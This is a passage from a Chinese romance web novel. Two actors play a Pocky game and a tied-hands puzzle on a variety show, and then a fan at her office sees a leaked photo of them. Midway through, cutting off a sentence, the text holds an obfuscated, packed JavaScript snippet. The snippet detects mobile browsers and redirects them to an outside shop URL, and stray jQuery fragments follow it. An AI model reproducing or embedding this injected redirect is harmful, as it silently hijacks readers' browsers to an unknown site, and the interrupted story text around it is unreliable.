席竟遥掀起眼皮，从近到失真的距离里，撞进凌默的视线。
漆黑的眼睛在逆光下颜色极深，里面没有暧昧没有犹豫，只有一股烧得正旺的火焰，把周遭的空气都灼得稀薄。
向前、再向前。
凌默用眼神命令他。
在这样的逼视下，席竟遥僵住的身体忽然找到了一个支点，像潮水奔向月亮，如铁屑扑向磁石，他下意识听从凌默的眼睛，咬住Pocky往前。饼干棒上的巧克力涂层在交错的鼻息里发软，甜味蔓在两个人之间不到一指宽的空隙里。
距离继续缩短。
五厘米。他们已经能看清对方唇峰的弧度。
三厘米。他们在对方的虹膜里找到了自己。
一厘米。
这个距离已经危险到席竟遥的系统濒临崩溃的边缘。
“咔。”
极轻极短的一声，饼干棒被咬到了尽头。两个人的嘴唇间只剩不到一厘米的距离，中间悬着一截极细的巧克力棒残余，在空气里危险地发着颤，掉了下去。
席竟遥的心脏好似这坠落的pocky，有一拍凭空消失了，胸腔里有一瞬间的真空，然后血液回流，心脏重新跳动。
他还未来得及反应，凌默已经迅速起身，拉远了他们的距离。转身面向导演组，举起手，声音清朗有力：“第一根。”
动作干脆利落，与席竟遥凌乱的呼吸相比，刚才那几秒钟对他丝毫没有影响。他身姿挺直，肩线平展，站在光下像一棵被阳光洗过的白杨。运动服勾勒出他从肩膀到腰侧的流畅线条，整个人干净、锋利、夺人眼目的耀眼。
席竟遥站在他身后的阴影里，心跳得前所未有的快，呼吸急促无比。压抑多年的欲望再一次生根发芽，抽条着肆意生长，他几乎要伸出手去将这株白杨揽入怀里，可是导演的声音从扩音器里传出来：
“各组进度——姜珊组已完成全部三根，第一名！陈知远周野组……”
话音未落，旁边传来一声惨叫。
陈知远的第二根pocky断了。不仅如此，断裂的半截饼干还从他嘴里滑出去，在地上摔成了几瓣。周野嘴里还叼着另外半截，两人面面相觑，场面一度十分尴尬。
“不算！这个不算！”陈知远弯腰去捡，工作人员已经憋着笑摇了摇头。导演铁面无私：“落地作废，重新来。”
“我——行！”
陈知远深吸一口气，从盘子里抽出新一根pocky，咬住一端，朝周野做了个“冲”的手势。
周野犹如一个被迫下海卖腐的老实直男，表情呈现出一种“我是谁我在哪我为什么要上这个综艺”的茫然。
姜珊和林晚月已经退到旁边喝水了，姿态十分轻松，还主动来和凌默玩笑要不要帮忙。
凌默摇了摇头，余光扫一眼陈知远那组的混乱场面，脑子里迅速计算：对方要重吃，进度倒退至少十秒。只要他们稳住，完全可以在对方重来的时候完成剩余两根。
他快速回身从盘子里抽出第二根pocky，转过来面向席竟遥，将一端叼在齿间，下巴微微一扬：“快。”
席竟遥也意识到这是个机会，俯身咬住pocky的另一端。
凌默垂着眼，睫毛在眼睑上覆出一片扇形的暗色，神情专注得近乎冷酷，咬住之后直接开始往前推。
席竟遥跟上他的节奏，第二根pocky在他们之间快速缩短。
咔擦。
第二根完成。
凌默动作流畅地去拿第三根。他不做任何停顿，没有任何回味，仿佛刚才和席竟遥完成的事情和帮人递一瓶水没什么区别。
态度太过坦然，做这些事没有任何负担。在他眼里这仅仅是一场比赛，赢得比赛是第一优先级，至于是和谁一起赢的、中间发生了多少让另一个人心脏停跳的瞬间，他根本不在意。
与他从前一模一样。
席竟遥本该爱着这份坦荡，可现在他再一次恨死了这种坦荡。
“唔？”
第三根pocky递到了面前，凌默叼着东西不方便说话，发出一声催促的鼻音，眉头拧起来了，眼神里的意思很明确：你倒是咬啊。
席竟遥强迫自己回神，咬住另一端。
他们已经有了经验，第三根很快结束，最后凌默松口，直起腰看向导演组，虎牙在唇边一闪，衬得他整张脸都带着一股锋芒毕露的明亮，“第三根，完成。”
导演低头看了一眼计时器，拿起话筒宣布：“凌默席竟遥组，三根全部完成，第二名！”
“什么？！”
陈知远叼着刚咬住的新pocky，一脸不可置信地扭过头来。他嘴里的饼干棒差点又滑下去，周野眼疾手快地伸手接住，两个人的姿势拧成了一个极其扭曲的角度。
“你们也太快了吧！”陈知远含糊不清地哀嚎，“我们第二根刚重吃完！”
周野从牙缝里挤出一句话：“哥，别说话了，先把这个吃完。”
陈知远含泪点头，两个人像两只仓鼠一样同时往中间推进，然后因为节奏不统一差点撞到鼻子，又同时往后弹开，引得工作人员再次笑成一片。
凌默退到场边，接过工作人员递来的一瓶水，拧开盖子灌一口。凉水顺着喉咙淌下去，把刚才那三根Pocky残留在舌根上的甜味冲淡。
第二名，勉勉强强吧，但是下一轮……
下一轮必须追上去，而怎么追，就得要求队友得配合了。
刚才烧得正旺的胜负欲还没完全退下去，残留在眼角眉梢，化作了一层薄薄的亮光，让凌默整个人看起来像一把刃光刺人的利剑。他偏过头，对着席竟遥，眼睛笑盈盈地弯了起来。
这一笑又让他的锋芒软化下去。
他不是没注意到席竟遥状态不对，但他也看得出来，席竟遥在第二根和第三根的时候与他配合很好，这说明席竟遥还算是个能动的，不是一个只会冷脸不做事的搭档。
而他需要席竟遥继续配合。要达到这个目的，他有的是办法。
席竟遥注意到他的目光，虽然不知道他要做什么，但心里忽然警铃大作。
下一秒，他就看见凌默眨了眨眼，凑近了过来，声音好似一颗酥脆的糖，轻盈地往人心上跳：
“诶，虽然我不知道你为什么讨厌我，但我们比赛还是配合一下吧？我想要第一。”
他这一招屡试不爽，任谁看了他的笑眼都难以说出拒绝的话，果然，席竟遥盯着他凑近的弯弯眉眼下意识回答：“好。”
凌默眼睛更弯了，心情愉快地去拿线索。
另一头，席竟遥回答完，大脑才重新启动，后知后觉地处理了凌默这句话的全部信息。
讨厌？
谁讨厌谁？
他讨厌凌默？
他还没想明白这个天大的误会是怎么来的，导演举起话筒宣布第二轮比赛。
“第二轮，绑手拼图。”
工作人员推上来三张长桌，每张桌子上各放着一个拼图板，旁边散落着大约一百片拼图碎片。道具组的人同时拿来了几卷彩色布条，导演接过来展示了一下。
“规则是这样的，每组的两个人用布条把手绑在一起，一人绑左手一人绑右手。你们要用这两只被绑在一起的手协作完成拼图，另一只手不能用。先完成的组获胜。”
陈知远从道具桌上弹了起来：“导演，这个好！这个适合我们！”
凌默在一旁不紧不慢地活动着手腕，闻言扫了他一眼，笑说道：“那可不一定。”
陈知远神情一噎，想反驳又找不到词——毕竟上一轮凌默中途超过了他们。
众人都被陈知远的表情逗得笑起来，没有人注意到席竟遥在听见规则之后那一瞬间的异样。
绑手。
命运真是奇妙，兜兜转转，他和凌默的手又一次将被绑在一起。
席竟遥暗自垂眼，掩下自己的思绪。
布条是宽幅棉布，绑好后两个人的肩到腕都会连成一体，属实是你中有我我中有你的物理效果。
工作人员走到凌默和席竟遥面前。
凌默配合地伸出左手，席竟遥伸出右手。工作人员将两只手腕并在一起，开始绕布条。
一圈、两圈。布条逐渐绕过他们交叠的手腕。
席竟遥低着头，他们的手并在桌上，凌默的脉搏正在他的手腕内侧一下一下地跳动，透过薄薄的皮肤，透过缠绕的布条，清晰地传过来。
他眨一下眼，视野里的两只手突然化为虚影，渐渐远去，和记忆中遥远的一幕合为一体。
哨声响起，第二轮开始。
—
十二点半，午休时间。
正是吃午饭的时候，格子间里弥漫着一股外卖和咖啡混合的气味。
苏柚把自己缩在工位的人体工学椅里，刚开完一整个上午的组会，脑子还是钝的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734300|208869||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。她端起咖啡喝了一口，皱了皱眉，把杯子搁回桌上，然后习惯性地扫了一眼工位上那一亩三分地的“精神食粮”。
凌默的几张透卡插在透明亚克力支架上，一字排开。桌上的鼠标垫是定制的，印着凌默在旅综里躺在沙发上睡着的侧脸截图，旁边被他自己的粉丝P了一行字：“不努力就会变成家默的狗——关你屁事，我乐意。”
这个工位不亚于一个小型教堂，而她供奉的人只有一个。
苏柚打开微博，点开个人主页，简介那一栏写着：家1全肯定/默帝大院总设计师/相方嬷视奸默认你心肝被发卖。
没错，苏柚，22岁，刚大学毕业参加工作，默公。
默公，意为嗑凌默的总攻all向。凌默身为圈内攻度零点九九括号无限循环小数的金瓜，各家cp粉每天打架锁瓜打得是大道都快要磨灭了。苏柚对此的态度是：别打了，都嗑，都嗑，都是家1开大院的一环罢了。
毕竟家默的温柔可以平等地分给天下人，何必非要分出个大小王呢？
当然，人的喜好是流动的。大院虽然广，心总是会偏。有些时段她也没办法对这些cp端平每一碗水。
比如最近这段时间，她格外喜欢嗑默竟。
原因倒也不复杂。
上个月她心血来潮，把《长冬》翻出来重新看了一遍。
这部背景为海边渔村的同性电影，她第一次看的时候光顾着舔凌默的颜值，第二次看才真正品出味来。
潮湿的海风，晒在竹竿上翻飞的渔网，席竟遥演的刑警和凌默演的嫌疑人之间那种推拉——甲板上对峙，两个人用眼神较劲，谁都不肯先眨一下眼。成年男人的克制与失控、伦理和私心的角力、被海水浸泡的拥抱、被反复压下去又复燃的悸动——
全片没有任何越界的肢体接触，却比任何感情戏都好品。
电影最后，席竟遥演的刑警在海边放走了凌默演的嫌疑人。镜头拉远，两个人在灰蓝色的海天交界处各自站成两个黑点，中间的沙滩上，潮水如火焰铺开，把他们的脚印冲刷殆尽。
他们的过往，他们共同走过的道路，甚至他们的未来，都将如这脚印一般付之一炬。没有拥抱，没有回头，没有任何台词。苏柚哭得隐形眼镜都快掉出来了。
后劲很难不移情到演员身上。她关掉播放器，打开微博，搜索“默竟”，把热门帖子从头翻到尾。然后打开AO3，输入标签，排序按更新时间，一页一页往下啃。她把每一帧采访、每一次同台、每一张合照都反复品鉴，最后发现了一个残酷的事实：这对cp上一次同框已经是一年半以前的事了。
整整一年半。
这时间里其他cp各自发过糖，更有默徊横空出世，只有默竟，像一处被搁置在角落的旧照片，早已积满了灰尘，连着苏柚的心也变灰了。
直到上周。
《心跳讯号》官宣了第四季第一期的飞行嘉宾。
《心跳讯号》！那个以按头营业闻名天下的cp综艺！不管他们会不会组成一队，光是一起当飞行嘉宾就够嗑生嗑死了。
这一整个星期苏柚都在工位上磨皮擦痒地等。等节目组放路透，等站姐发预览，等任何可能泄露录制内容的蛛丝马迹，每天中午休息第一件事就是刷论坛。
今天也不例外。
《心跳讯号》新一季的专组已经有三万多讨论帖了。苏柚熟练地点进“路透&讨论”标签，准备像往常一样翻翻有什么新消息。她的预期很低，大概就是几个常驻嘉宾的路透图，或者谁在影视基地外面拍到了保姆车的模糊照片。
可第一条帖子就让她握着鼠标的手顿住了。
【《心跳讯号》路透！猜猜谁和谁搭档了？】
发帖时间是两分钟前，回复已经过了三百。苏柚的心跳忽然提到嗓子眼，以这辈子最快的反应速度点了进去。
帖子内容只有一张图片，是一张高糊的、明显是在极远距离偷拍的路透照。
但苏柚还是一眼就认出来了。
画面里的两个人，一个穿着白底红边的运动服，侧脸的轮廓被阳光勾出一层金边，嘴里叼着一根巧克力棒。
另一个也是同款，手搭在前者的肩膀上，正微微俯下身，嘴唇离前者叼着的饼干棒不到一指的距离。
而他们的面颊之间，只隔着一根正在缩短的pocky。
苏柚张了张嘴，喉咙里发出一声无声的尖叫。